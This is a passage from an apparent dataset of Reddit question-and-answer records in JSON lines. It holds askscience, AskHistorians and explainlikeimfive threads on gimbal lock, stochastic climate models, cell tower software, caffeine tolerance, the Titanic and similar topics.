conservation of  angular momentum. So if the gimbals \"lock\" like this you would lose the ability to measure your direction in one of the axes. To solve this problem, a motor keeps a fourth outer gimbal spinning constantly to counteract the tendency of the 3 ring system to lock. If power is lost (like in Apollo 13) this motor stops and gimbal lock can become a real problem for navigation. ", "When the 3 rings are perpendicular to each other, the center ring can be spun on its axis or rotated.  If you line up the rings parallel (so it looks like 3 circles drawn on paper), the center ring can no longer be rotated, only spun on its axis.\n\nNow, I have no idea how this affects a spacecraft.  I would assume with the equipment measuring orientation.", "thing of note to easily understand gimbal lock: imagine you are playing a first person shooter and you point your gun vertically at 90\u00b0: you are no longer able to point the gun left and right, moving the mouse sideways only rotates alongside the gun's axis. You have two axes locked in the same attitude providing the same rotation.", "A lot of confusion results from the term itself.  During gimbal lock, the gimbals don't actually \"lock\".  They're all still free to spin about like they normally would, no ring is being held up or forcibly locked into position.  A gimbal measures your rotation about an axis.  If you have more than one gimbal then you can measure your rotation about more than one axis.  That sounds simple enough, but what if two of the axes aligned?  How could you tell the difference between a rotation about axis A and a rotation around axis B?  You can't, because they're effectively the same axis!  Both of the gimbals would rotate the same amount in the same direction at the same time.  It would indicate that you've rotated around both axis A and axis B simultaneously.  Neither gimbal is locked into position, neither gimbal is being prevented from moving, but both gimbals are measuring one movement as happening in two different ways.\n\nThis phenomenon is called gimbal lock.  In certain orientations your yaw, pitch, or roll axis aligns with one of the others.  At that point, a change in the first can't be distinguished from a change in the other.  That's a big problem if you need to keep track of your orientation accurately.  Fortunately, there exist ways of avoiding gimbal lock, such as adding a fourth gimbal.", "To elaborate on the Apollo 13 situation:\n\n\nAs you know, gimbal lock causes a spacecraft, such as an Apllo command module, to lose orientation. Normally, this really isn't too much of a problem. The astronauts can re-orient the gimbals based on the positions of the stars. Gimbal lock was a problem for the Apollo 13 mission because there was so much debris from the service module explosion that the starfield became obstructed, so they would not have been able to re-orient themselves based on it."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Inertial_navigation_system", "http://en.wikipedia.org/wiki/Gimbal_lock"], "answers_urls": [[], [], [], [], []]}
{"q_id": "4zbed7", "title": "Can we model stochastic systems as deterministic systems?", "selftext": "I was reading a book blurb which advocated using stochastic analysis for climate models.\n\nCan the climate be modeled deterministically?\n\nUnder what conditions will it still give useful results?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4zbed7/can_we_model_stochastic_systems_as_deterministic/", "answers": {"a_id": ["d6um008", "d6uojqi", "d6usfbp"], "score": [51, 5, 3], "text": ["Is it possible? Theoretically, but the problem with deterministic models is that you need the initial state of the system for your model to predict properly. In the case of a climate model, the amount of information required to provide one completely deterministic and workable model of climate would require information which we really do not have access to (both currently and the initial state I just mentioned). Depending on the initial state of the system, our model could be wildly different. This is how a [chaotic system](_URL_1_) is defined. Best put by Edward Lorenz, a pioneer in the study of chaotic systems:\n\n >  Chaos: When the present determines the future, but the approximate present does not approximately determine the future.\n\nStochastic Systems are similar to a deterministic system but introduce two things: an error term and usually the ability to update using present information much more smoothly and systematically (think [Bayesian](_URL_0_)). So, if we take a model with an error term and an update method, we can iterate on this much more reliably than a deterministic one. In a sense, you don't have to \"restart\" you just \"update.\" With a deterministic system, you would have to \"restart.\"\n\nBasically, a deterministic system gives reliable and useful results only in response to the amount and quality of the initial data you provide it. A stochastic system often provides the ability to learn on the fly which is more flexible and gives you \"bounds\".\n\nAn example: If you're watching The Weather Channel and it's hurricane season, you'll see a \"predicted track\" of the hurricane with the shaded area of where it *could* go getting wider as it gets farther away from its current position. That's a stochastic error term. To reliably predict a hurricane using a deterministic model, you would not have that. It would just say, \"here's where it's going.\" If the model is wrong, then it's just because your initial conditions were wrong. (I'm assuming the underlying model is actually correct mathematically.)\n\nSource: Applied Mathematics Undergraduate Degree", "There are far too many variables involved with climate models to accurately account for them all (or a significant amount of them). Any events modeled by such a model has a probability of actually occuring that approaches zero.\n\nStochastic models allow for the use of pre-existing data on aggregate. The more data you have the more confidence that your model can provide. \n\nI work in the insurance industry, and all our models are stochastic except for a select few that actually do attempt to provide deterministic results. We have a ton of exposure data provided by our clients  that allow for our models to be pretty accurate.\n\nI would assume that deterministic models only provide useful information when:\n\n1. Significant amount of variables have been identified that the model is a \"function\" of those variables.\n      -The unknown variables (or unmodeled variables) do not effect the outcome of the model drastically.\n2. You can accurately measure those variables for the specific case that you are attempting to model\n\nInteresting piece of information however is that most companies that consume models such as this do not rely on a single model developer. They will contract with multi different models, and will use them to cross-validate eachother. The \"storm tracks\" that you see on TV are often a mish-mash of a bunch of models and they only report the results that are valid in all of the models used. If all models are saying something different, then the overall confidence in the model(s) is dropped.", "Yes, it is possible. But usually modeling strategies are selected over others because either they provide better results, require less time to solve (by hand or numerically (computers)), or one type of model simply doesn't work.\n\n\nTo answer your question, stochastic models best represent random events and things, like the weather or poker or phone usage. Deterministic models are certain that something will occur given that the correct inputs have occurred, e.g., a deterministic model might track humidity and temperature, and if these reach a certain threshold, then it will tell us it is raining. A stochastic model will give us a probability of an event occurring, e.g., assuming we have the same humidity and temperature, the  stochastic model will have a different outcome every time we run the model, and after running the model enough times we can determine how likely it is that it will rain outside."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Bayesian_statistics", "https://en.wikipedia.org/wiki/Chaos_theory"], [], []]}
{"q_id": "7qt119", "title": "How does the hardware/software stack in cell towers manage 1000s of users simultaneously?", "selftext": "Lots of questions here:\n\n1. What kind of stack does a cell tower run for management? Embedded or full-fledged OS? What kind of databases (if any)? Is the hardware industrial like data-center level stuff or can it be run on consumer-grade equipment?\n\n2. On an individual tower how are requests prioritized? Queues in FIFO order or something more complex? Do they use full-blown databases for state management or in-memory data structures?\n\n3. On an individual tower when receiving/sending packets is the \"unique identifying\" part of a signal solely data-based (like an IMEI encoded into each packet) or is there a hardware component as well IE signal is modulated uniquely based on device?\n\n4. How autonomous are individual towers? If my device is within range of 3 towers how do they decide which one will manage my device? Are there \"supervisor\" nodes managing multiple towers to make those kind of decisions? If so what kind of hardware does that have to run and how many towers can be managed at once?\n\n5. Following #4, does tower management ever have manual input from the carriers like during high-population events IE sports games, concerts, etc. where usage is out of the norm?\n\nMainly I just want greater insight into how so many users are handled simultaneously with such little latency. More karma if I can get a developer/ops perspective on this topic!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7qt119/how_does_the_hardwaresoftware_stack_in_cell/", "answers": {"a_id": ["dssh7pq", "dst36ie"], "score": [9, 4], "text": ["Software developer of base station software here. I think I can answer some of these questions, but your questions vary wildly between implementation details and more broad EPC architecture. My background is implementation of LTE (and now, in part anyway, NR) standards for the control plane related part of the standard and internal (non standardized) base station software parts, and some UE parts. I'm going to assume your questions are related to LTE since you didn't specify what standard you're interested in. I tried writing this post by answering your questions one by one, but the length became prohibitive since they are too broad so I will try to give you some general pointers and more reading material.\n\nFirst, base stations (which controls the \"cell tower\") come in many different shapes depending on the deployment scenario. I'm going to assume you mean something like this: _URL_1_\n\nThis type of tower would typically be a macro cell deployment with a small nearby building which houses the equipment needed to run that site. This equipment is highly specialized and the internals are complicated beasts, depending on what level of abstraction you want to inspect. One hardware device could be a collection of DSPs and others a collection of FPGAs depending on what that hardware role is. On top of that you have some management programs. They typically run some kind of real-time OS. The kind of databases used will be implementation specific and vary as wildly as you would expect between different network equipment providers (such as Huawei, Nokia, Ericsson, and so on), for example time critical parts would use some kind of database system (where it's needed, if at all) whereas non-time critical parts would use others (again, where it's needed, if it even is). To get a feel of what type of hardware we're talking about here you can browse around on the different equipment vendors websites and see what type of offers they have.\n\nRegarding how requests are prioritized for individual towers, that question is way too broad to answer in any meaningful way. What I can say is that the MAC scheduler parts of the base station software is a closely guarded trade secret of each network equipment provider. The scheduler in this context is responsible for scheduling transmission over the air. The standard describes the physical properties of the transmission in terms of frames, subframes, transmission blocks and so on, but it does not specify how the implementation should schedule these. A simple overview can be found [here](_URL_0_), and the last slide contains references to relevant 3gpp documents.\n\nRegarding the sending/receiving packets part, this will depend on what level of the stack you're interested in and what protocol you're talking about. For example the physical layer (L1) has no idea what (user) data is being transferred. The UE and base station come to an agreement of when (in time) data will be transmitted for that UE. For the initial connection the UE will connect to the base station via the random access procedure. During the procedure, different identities will be used to identify the UE.\n\nThe base stations are highly autonomous when it comes to your example. A UE will constantly perform measurements to neighboring cells in order to determine where it wants to be camped. If a more suitable cell than the current one is found, the UE is allowed to camp on that cell and that node is not already overloaded and so on, then a handover is performed. Neighboring eNodeBs communicate via the X2 protocol. There are no supervisor nodes for what you describe, however the MME (Mobility Management Entity), which is another node in the EPC, is, among other things, responsible for idle mode mobility (where your UE can roam and on what cells you may camp) and so on.\n\nRegarding manual input from operators, they most certainly do. Some deployments can be put in place and just \"left alone\" whereas others are monitored during specific events, such as sporting events as you mentioned. You will have network engineers monitoring the network, and even deploying nodes just for that occasion, in real-time during high profile events, such as the opening of the olympics and such. In a more general sense, there are network engineers working as \"cell planners\" who are responsible for cell planning and optimizing the network infrastructure and coverage area. The complexity of this range from trivial/easy, for example having a cell tower in a flat area that covers lots of ground, to very complicated, such as street corners in Shanghai or other metropolitan areas where many users move constantly with buildings blocking the cell signals. Roof space in these cities are valued and the competition can be high to rent it.\n\nThe short of it is that the reason some of these base stations can handle many concurrent users is because of highly specialized hardware with low level optimizations, not to mention the rigorous math behind it. Unfortunately it's maybe not a very satisfying answer.\n\nThe eNodeB software I've been working in has millions and millions of lines of code maintained by literally thousands of developers, developed over decades. The internals of such a beast is of course very complicated, and there exist no-one who understands all the secrets of that implementation on all layers. Not every base station implementation will be like this, as there are companies who produce network equipment will only a handful of employees, but you get the idea. But even given this, the eNodeB is only one part of the whole EPC, all of which is needed to just load reddit on your phone. It is the common opinion among myself and colleagues that it's a miracle that these things work as well as they do, but that's another story.", "1. a) Depends on the implementation b) eNBs don't keep enough state to warrant a database, but again, depends on the implementation b) eNBs are designed and intended to be deployed en masse, so they need to be cheap. That doesn't necessarily mean it's commercial-off-the-shelf stuff, but in terms of cost  &  capability it's close\n\n2. Again, implementation-dependent. I worked on a stack which employed [multi-level queues](_URL_0_) to efficiently route multiple physical interfaces - incoming requests would be handled FCFS, but that didn't directly correspond with FCFS end-to-end behaviour. Work done in the box could reorder the forwarded requests to the core network. In-memory data structures are enough for the state eNB needs to hold ([temporary] IDs, key  &  session information, very small state machines).\n\n3. Signals aren't modulated per-user device. The data transferred are encrypted with ephemeral keys per device (UE), though. UEs are identified with their claimed IDs (TMSI, IMSI, IMEI) - eNB keeps this information if the UE authenticates itself successfully during the attach procedure.\n\n4. The UE picks the eNB to transmit to. There are signalling ('handover') procedures when your UE is switching service from one eNB to another, as this is the primary use case for mobile networks: mobility. You could think of the core elements as 'supervisor', but only in a very abstract sense; there is no need to monitor eNBs to manage UE mobility. (we have had a similar question about this in the past that I've answered, I'll find it and link it)\n\nAs for #5, this I do not know. Somebody who has operated such a network might be able to say."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ece.drexel.edu/walsh/Gwanmo042712.pdf", "http://stocksyndicate.com/wp-content/uploads/2017/05/cell-tower-chemtrails-hendersonville-header11.jpg"], ["https://en.wikipedia.org/wiki/Multilevel_queue"]]}
{"q_id": "a8sucs", "title": "Were there carriage \u2018models\u2019 and \u2018makes\u2019 that would have been well known anywher at any point in history?", "selftext": "As the title says, would there have been brands of carriages as there are now with cars? When and where?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a8sucs/were_there_carriage_models_and_makes_that_would/", "answers": {"a_id": ["eqcitny"], "score": [2], "text": ["Absolutely.  Brewster  &  Company was the finest maker of carriages in NYC during the carriage era and very well known.  Each major city certainly had its famous carriage building firms. Studebaker was one of the United States largest producers before the car era took over.  Many of the body makers for the early cars were formerly large carriage manufacturers (Hooper, Million-Guiet, Holland  &  Holland).  There were many, many styles of carriage in near infinite variety of appointments and accessories from thousands of companies large and small.  Fine carriages were very richly appointed and custom painted in the owner's colors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2o1osh", "title": "Could I move in a straight line into space and not hit anything?", "selftext": "Okay so in my scenario lets assume time is completely still, and there is no gravity or anything to affect the line traveled. Would I eventually hit something? Or is there actually a small gap you could hit with no stars or anything?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2o1osh/could_i_move_in_a_straight_line_into_space_and/", "answers": {"a_id": ["cmivuxg", "cmizxfq", "cmj081r", "cmjks8v"], "score": [5, 19, 50, 3], "text": ["Well you'll have to assume no gravity if you want to move in a straight line... but I guess the scenario still has the matter of the universe, equal volume to reality but no density?\n\nYou could likely find a line out of our galaxy that didn't impact any stars, while there are hundreds of billions of them there is a lot of space between them. If you went in a direction normal to the galactic plane ('up' or 'down') then you would have the least objects to worry about... If you use Chrome then check out _URL_1_ for a nice visualisation, but remember the stars are much smaller than they appear here.\n\nYou would could trouble with substellar objects such as brown dwarfs, because there are more of these than visible stars are they not detectable yet beyond a fairly small radius [ _URL_0_ ], on the other hand the odds of impacting one are slim.\n\nDo you count interstellar dust and gas as 'something' to hit? If so then there is no chance of even getting outside our galaxy.\n\nAssuming you do we do get out, there is probably a good chance of getting a very long way. Galaxies are spaced out by vast distances so even our 'local group' neighbors are far enough apart to be easily missed.\n\nOnce you pass those you are into the large scale structure of the universe, which is characterised by filaments of galaxies and huge voids between them [ _URL_2_ ], which I assume you would have aimed for...\n\nTL:DR - if you can get out of the Milky Way then it's plain sailing.", "Chances are you would not.  Even though galaxies contain billions or trillions of stars, the distance between the stars is incredibly huge.  When galaxies collide, each containing hundreds of billions of stars, it is almost certain that not even one star collision will happen.  The deformation in galaxy collisions is caused by the gravity of the matter in the galaxies interacting with each other, not from actual collisions.  So, if billions of stars, which are objects far larger than a human, are moving through another galaxy with billions of stars, and not one collision happens, you can assume that you would most likely not collide with anything if you moved through space.  ", "The equivalent question is can you look into space and not see anything along a particular line of sight?\n\nThey did this with the Hubble Space telescope.  They looked in a particular direction that didn't have any bright stars in the galaxay,[ this is the location](_URL_2_).\n\nThe HST took long exposure images of that region and this is what the images[ look like when combined](_URL_1_).  It shows some of the oldest galaxies ever imaged.\n\n[This](_URL_0_) is a schematic of what you would eventually run into.\n\nFrom : _URL_3_", "There's an old \"paradox\" this strongly relates to, called [Olber's paradox](_URL_0_). The gist of it is that the observable universe must be finite, otherwise the sky would be bright at night since every direction you looked would at some point hit a star. Since the sky is dark, most lines of sight don't hit stars. You would still hit gas particles, however. Generally, traveling out of the Galaxy you could expect to hit from 10^20 to 10^23 hydrogen atoms per square centimeter, depending on what direction you travelled. That sounds like a lot, but on the high end it's less than the number of gas particles between your eyes and the floor when you're standing up. Odds of actually running into a star or planet are vanishingly small if you pick a random direction on the sky. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://astro.berkeley.edu/~basri/bdwarfs/SciAm-book.pdf", "http://stars.chromeexperiments.com/", "http://www.ast.cam.ac.uk/~pettini/Physical%20Cosmology/lecture07.pdf"], [], ["http://en.wikipedia.org/wiki/Hubble_Ultra-Deep_Field#mediaviewer/File:Hubble_Ultra_Deep_Field_diagram.jpg", "http://en.wikipedia.org/wiki/Hubble_Ultra-Deep_Field#mediaviewer/File:NASA-HS201427a-HubbleUltraDeepField2014-20140603.jpg", "http://en.wikipedia.org/wiki/Hubble_Ultra-Deep_Field#mediaviewer/File:Hudf-illustration.jpg", "http://en.wikipedia.org/wiki/Hubble_Ultra-Deep_Field"], ["http://www.amnh.org/education/resources/rfl/web/essaybooks/cosmic/cs_paradox.html"]]}
{"q_id": "deiuay", "title": "Today's Nobel prize in Physiology or Medicine is on the role of oxygen in cells. The description says the research is important in aiding injuries and understanding cancer. Can someone explain it in a little more detail? Is it also relevant to aerobic exercise?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/deiuay/todays_nobel_prize_in_physiology_or_medicine_is/", "answers": {"a_id": ["f2wzhcx", "f2y5cvp"], "score": [13, 3], "text": ["William Kaelin, Peter Ratcliffe and Gregg Semenza also won the Lasker for this in 2016.\n\nThey've independently researched how cells detect and respond to hypoxic conditions. Hypoxia is a state where cells are deprived of oxygen and potentially die.\n\nSemenza discovered a protein (HIF-1) which basically the cell uses to (indirectly) promote generation of red blood cell and growth of new blood vessels.\n\nRatcliffe discovered that how much HIF-1 is acting was dependent on oxygen.\n\nKaelin showed how kidney tumours use this mechanism to grow more blood vessels even though they don't need them.\n\nAltogether, they uncovered the mechanism that all cells use to detect oxygen, and get more oxygen (in a body) if it looks like they won't have enough. For example, if you have a few cells in your leg that aren't receiving oxygen, they'll use this mechanism to encourage more blood vessel growth and stop that hypoxia.\n\nHowever, if a cancer can mutate in such a way that this mechanism is defective, they can get an improved supply oxygen (from blood), even when they've grown so big they shouldn't be able to get all the oxygen.\n\nI basically just summarised [this article](_URL_0_) from Cell which sums it up well.\n\nI don't think there would be any implications for aerobic exercise, at least as far as I can tell.\n\nI believe Kaelin, Ratcliffe and Semenza actually made these discoveries in the 90s, and people are only starting to appreciate the significance of their work now.", "The overexpression of HIF-1 alpha in cancers is important for a number of reasons.\n\nHIF-1 alpha is a transcription factor that increases expression of metabolic enzymes that support aerobic glycolysis and the [Warburg effect](_URL_1_) .\nThis metabolic switch allows cells to survive in hypoxic conditions and there is good evidence that this switch to glycolysis promotes cancer cell survival in many other ways. [Here](_URL_0_) is an interesting paper on the role of glycolysis in fuelling calcium pumps. These roles may be important in dense solid tumours such as pancreatic ductal adenocarcinoma (PDAC), the most common form of pancreatic cancer. \n\nOther genes which are influenced by HIF-1 alpha include VEGF and erythropoietin which facilitate angiogenesis. Angiogenesis within the tumour mass can increase the likelihood of cancer cells entering the bloodstream and metastases forming."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.cell.com/cell/fulltext/S0092-8674(16)31133-3?_returnURL=https%3A%2F%2Flinkinghub.elsevier.com%2Fretrieve%2Fpii%2FS0092867416311333%3Fshowall%3Dtrue"], ["http://m.jbc.org/content/early/2015/08/20/jbc.M115.668707", "https://www.ncbi.nlm.nih.gov/m/pubmed/25689954/"]]}
{"q_id": "1zwc0t", "title": "Was Futurism an art movement that found its very origins in Fascist propaganda, or was it initially separate from it and transformed and used by the Fascists to promote their agenda?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1zwc0t/was_futurism_an_art_movement_that_found_its_very/", "answers": {"a_id": ["cfxn2yd", "cfxnk7d", "cfxobob"], "score": [3, 16, 14], "text": ["Did Fascist governments utilize the futurist style more than Socialist or Communist governments? Even in the Capitalist West, government projects like the American WPA used futurist-inspired art to promote \"American values\" and raise morale.", "I assume here that you're talking about the connection between Futurism and Fascism in Italy specifically.  Futurism as a movement was not fascist in origin.  By the time the Fascists came to power, there was some overlap in ideology when it came to visions of a future society and so forth, but Futurism is not inherently linked to a Fascism. \n\nThe futurists (Mayakovsky et al.) in Russia were supported by the early Soviet government and similarly looked at the revolution with hope.  In the Soviet Union they were before too long dismissed as formalists (as were many other avant garde artists/art forms in the late 1920s early 30s in the Soviet Union).  A similar thing happened in Italy in the late 1930s.\n\nSo, to address your points individually. No, it does not have its very origins in Fascist propaganda. Also, Futurism was not monolithic enough to say that it was \"transformed and used by Fascists to promote their agenda.\" Even if we are talking solely about Italy, the connection between the two is a bit more complicated.", "No. The first Futurist manifesto (Marinetti's _The Futurist Manifesto_, published in 1909), while having proto-fascist ideas such as \"[w]e want to glorify war \u2014 the only cure for the world \u2014 militarism, patriotism, the destructive gesture of the anarchists, the beautiful ideas which kill, and contempt for woman\", was not tied to any specific political party or ideology.  Marinetti was trying to imagine an idealized, violent, mechanical future that he thought was inevitable.  Carlo Carra, another early Futurist member, supported anarchism (evident in his painting _Funeral of the Anarchist Galli_).  Futurism began strictly as an art movement that appropriated ideologies like socialism and anarchism because of their call to destroy bourgeois culture, and their provocative, propagandistic style was in the beginning strictly aesthetic.  \n\nFuturism wasn't co-opted by Mussolini's National Fascist Party, but instead, a few years after he founded the movement, Marinetti tried to make Futurism the official art of Fascist Italy, although he never succeeded and eventually condemned the NFP.  The Futurist style, though, the use of manifestos especially, influenced a lot of propagandists and found itself being used for both far-right and far-left ends."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "19a2dm", "title": "what does the term \"period doubling\" mean in terms of mathematics and chaos theory?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19a2dm/what_does_the_term_period_doubling_mean_in_terms/", "answers": {"a_id": ["c8m7atu"], "score": [2], "text": ["Period doubling refers to a specific type of bifurcation behavior exhibited by an equation as a parameter in the equation is varied. \n\nSince that isn't a very ELI5 explanation, let's look at an example.\n\nConsider the logistic equation: x[n+1] = rx[n](1-x[n]).  We fix a value of r, and pick a starting value of x between 0 and 1 - call it x[0] - and then we calculate x[1] = rx[0](1-x[0]), x[2] = rx[1](1-x[1]) and so on. Imagine we repeat the iteration, say, 1000 times. We call this \"iterating the logistic equation.\"\n\nWe now ask the question  *for a given value of r, what final value of x does \"iterating the logistic equation\" produce?* (we leave the starting value of x out of the question - it turns out our choice of x[0] doesn't affect the result). The answer to this question is summarized in something called a \"bifurcation diagram\".\n\n[Here](_URL_0_) is the bifurcation diagram for the logistic equation. The x-axis is r and the y-axis is the final value of x. Note that a vertical line drawn between r = 0 and r = 3 would intersect the bifurcation diagram in one place. For those values of r, \"iterating the logistic equation\" produces to a single value of x. Between r = 3 and r = 3.4-ish, a vertical line intersects the bifurcation diagram in **two** places. In that range of r, iterating the bifurcation produces values of x that oscillate between two values (aka \"period 2\" behavior). Between 3.4-ish and 3.5-ish the values oscillate between **four** values (aka \"period 4\" behavior). Then eight values. Then eventually: chaos. \n\nWe say the the logistic equation \"exhibits period doubling on the way to chaos.\"\n\nEasy peasy.\n\n--\nFootnotes: \n\n(1) The insets in the bifurcation diagram are the time series for four selected values of r. Stare at these until you are sure you understand how they relate to the bifurcation diagram.\n\n(2) I am not mathew peet (and if he'd like to provide LabKitty beerage for sending him some traffic, that'd be swell)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://mathewpeet.org/science/chaos/"]]}
{"q_id": "1tv21n", "title": "red eyes from drinking", "selftext": "I have always been curious as to why during/after a lot of drinking your eyes become super red! ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tv21n/red_eyes_from_drinking/", "answers": {"a_id": ["cec0a1n"], "score": [2], "text": ["Well, alcohol is a vasodilator, meaning it encourages blood vessels to expand. So your eyes would get bloodshot for the same reason your face would flush, generally increased blood circulation. There is probably an element of eyestrain involved also, as alcohol suppresses conscious motor control, and eyes can get wonky due to that as well. They have to work harder to do their usual job of focusing and working together. When you're really drunk,  that's why you sometimes start getting \"the spins\", seeing double, or drifting. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6u4leu", "title": "which bodily processes are first to shut down as a result of under-nutrition? and what is the progression from there?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6u4leu/eli5_which_bodily_processes_are_first_to_shut/", "answers": {"a_id": ["dlpxrbg", "dlqmwo2"], "score": [54, 4], "text": ["The body shuts down pretty much from least vital to most vital. The first system to shut down is the reproductive. Then the digestive, then organ failure. If you make it to organ failure, you are probably at the heart failure stage. \n", "Reproductive, then the digestive system (since you're not using it anyway). Then, if I remember rightly, it's the liver/kidneys, then the body's thermal regulation, then the circulatory system."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "t8exs", "title": "What is the definitive length of time it takes to eliminate caffeine tolerance?", "selftext": "There are several logically distinct time scales governing caffeine's effect on the body, listed below.  I'm interested in roughly how long you have to stop caffeine consumption (cold-turkey) in order reset your baseline.  Unlike the other time scales, I can't find a good cite for it.\n\n--------------\n\n* time for ingested caffeine to be eliminated from the body (half-life: 5 hours, with broad variance) [1]\n* time for tolerance to develop (7-18 days)[2]\n* time for withdrawal symptoms to start (12-24 hours)[2][3]\n* time for withdrawal symptoms to stop (2 to 9 days)[2][3]\n* time for tolerance to be eliminated (?)\n\n[1] [Wikipedia quote](_URL_3_):\n > In healthy adults, caffeine's half-life has been measured with a range of results. Some measures get 4.9 hours, and others are at around 6 hours. Heavy cigarette smokers show a decrease in half-life of 30-50%, oral contraceptives can double it, and pregnancy can raise it even more, to as much as 15 hours during the last trimester. In newborn infants the half-life can be 80 hours or more; however it drops very rapidly with age, possibly to less than the adult value by the age of 6 months. The antidepressant fluvoxamine (Luvox) reduces the clearance of caffeine by more than 90%, and prolongs its elimination half-life more than tenfold; from 4.9 hours to 56 hours.\n\n(See article for multiple supporting studies.)\n\n\n[2] [New-medical](_URL_1_)\n >  Complete tolerance to sleep disruption effects of caffeine develops after consuming 400 mg of caffeine 3 times a day for 7 days. Complete tolerance to subjective effects of caffeine was observed to develop after consuming 300 mg 3 times per day for 18 days, and possibly even earlier.\n\n > Withdrawal symptoms \u2014 possibly including headache, irritability, an inability to concentrate, drowsiness, insomnia and pain in the stomach, upper body, and joints \u2014 may appear within 12 to 24 hours after discontinuation of caffeine intake, peak at roughly 48 hours, and usually last from one to five days, representing the time required for the number of adenosine receptors in the brain to revert to \"normal\" levels, uninfluenced by caffeine consumption.\n\n[3] [Wikipedia quote](_URL_2_):\n >  Withdrawal symptoms\u2014including headache, irritability, inability to concentrate, drowsiness, insomnia, and pain in the stomach, upper body, and joints\u2014may appear within 12 to 24 hours after discontinuation of caffeine intake, peak at roughly 48 hours, and usually last from 2 to 9 days.\n\nSupporting study:\nJuliano LM, Griffiths RR (October 2004). \"[A critical review of caffeine withdrawal: empirical validation of symptoms and signs, incidence, severity, and associated features](_URL_0_)\". Psychopharmacology (Berl.) 176 (1): 1\u201329.\n\n-----------------\nIf you have additions/modifications, I'll post them here.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/t8exs/what_is_the_definitive_length_of_time_it_takes_to/", "answers": {"a_id": ["c4kgu17", "c4kk1gk"], "score": [8, 4], "text": ["[Holtzmann 1983](_URL_0_)\n\n2-3 weeks after the removal of caffeine from the chronically caffeinated group, there is a statistically significant increase in activity by dosage, suggesting that caffeine sensitization is restored 2-3 weeks after the withdrawal of chronic caffeine administration. (This is in rats)\n\nStephen G. Holtzman, Complete, reversible, drug-specific tolerance to stimulation of locomotor activity by caffeine, Life Sciences, Volume 33, Issue 8, 22 August 1983, Pages 779-787, ISSN 0024-3205, 10.1016/0024-3205(83)90784-1.\n(_URL_0_)", "All I have to say is be careful with words like \"definitive.\""]}, "title_urls": [], "selftext_urls": ["http://neuroscience.jhu.edu/griffiths%20papers/CaffwdReview.2004.pdf", "http://www.news-medical.net/health/Caffeine-Pharmacology.aspx", "http://en.wikipedia.org/wiki/Caffeine#Addiction.2C_tolerance_and_withdrawal", "http://en.wikipedia.org/wiki/Caffeine#Metabolism"], "answers_urls": [["http://www.sciencedirect.com/science/article/pii/0024320583907841"], []]}
{"q_id": "3skbgc", "title": "Before the Titanic, did the ships crossing the Atlantic Ocean often hit icebergs and sink?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3skbgc/before_the_titanic_did_the_ships_crossing_the/", "answers": {"a_id": ["cwyb9ow"], "score": [29], "text": ["A database of reported ship iceberg collisions exists.  The database is described in [this paper](_URL_1_).   The database is the basis for the listing of[ ship iceberg collisions on this wikipedia page](_URL_0_).\n\nThe Titanic is, by far, the largest ship known to be lost to an iceberg. Of course, other ships were lost in the North Atlantic with no known survivors.  These may or may not have been due to iceberg collisions. The database is incomplete.\n\nAnother factor in the Titanic's sinking was that advancement in speed had outstripped advancements in navigation. It was fast.\n\nOlder ships, particularly wind powered ships, traveled slower and had more time to adjust for iceberg sightings.  In addition, any collision would cause less damage since it was at lower speed.\n\nThat was an era where ships saw an increase in speed, but navigational technologies had not yet caught up to the new speed.  \n\nA less well known case, but more spectacular case of speed surpassing navigational technology was the Honda Point incident.  In 1923, a convoy of US Navy destroyers were making a run from San Francisco to San Diego.  Nine of the destroyers ran aground just off Santa Barbara.  Two were able to free themselves, but seven were totalled on the rocks.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/List_of_ships_sunk_by_icebergs", "http://www.researchgate.net/publication/44084643_Ship_Collision_with_Iceberg_Database"]]}
{"q_id": "7v69cg", "title": "why are arabs not black? since arabia is the most sun-intensive area of earth it would make sense to have dark skin for protection.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7v69cg/eli5why_are_arabs_not_black_since_arabia_is_the/", "answers": {"a_id": ["dtpteli", "dtpvao5", "dtpz3ie", "dtq1uvw"], "score": [88, 166, 5, 2], "text": ["First of all, you need to understand that not all Arabs are in the desert.\n\nYou have Arabs in the levant which is Jordan, Syria, Lebanon, Palestine. These Arabs are very much white like any European or American. \n\nThen you have Arabs in the Gulf, such as Kuwait, Qatar, UAE, Saudi Arabia, Yemen, Oman. Those Arabs are the ones who are tan/darker skinned because they originate from desert climates. \n\nIn between you\u2019ll have Iraqis who don\u2019t belong to either gulf or Levant, and North Africans like Moroccans Algerians and Tunisians who also usually have darker skin. Algerians have fairer skin than the other two.\n\nLastly you have Egyptians. They too have darker skin. \n\nSo no not all Arabs are dark skinned. It\u2019s a common misconception to label all Arabs as desert dwellers. There are blue eyes blonde Arabs.\n\nLived in the Middle East for 20 years.", "You need to understand how the [human skin color](_URL_0_) evolved.\n\nSecond You need to understand where did 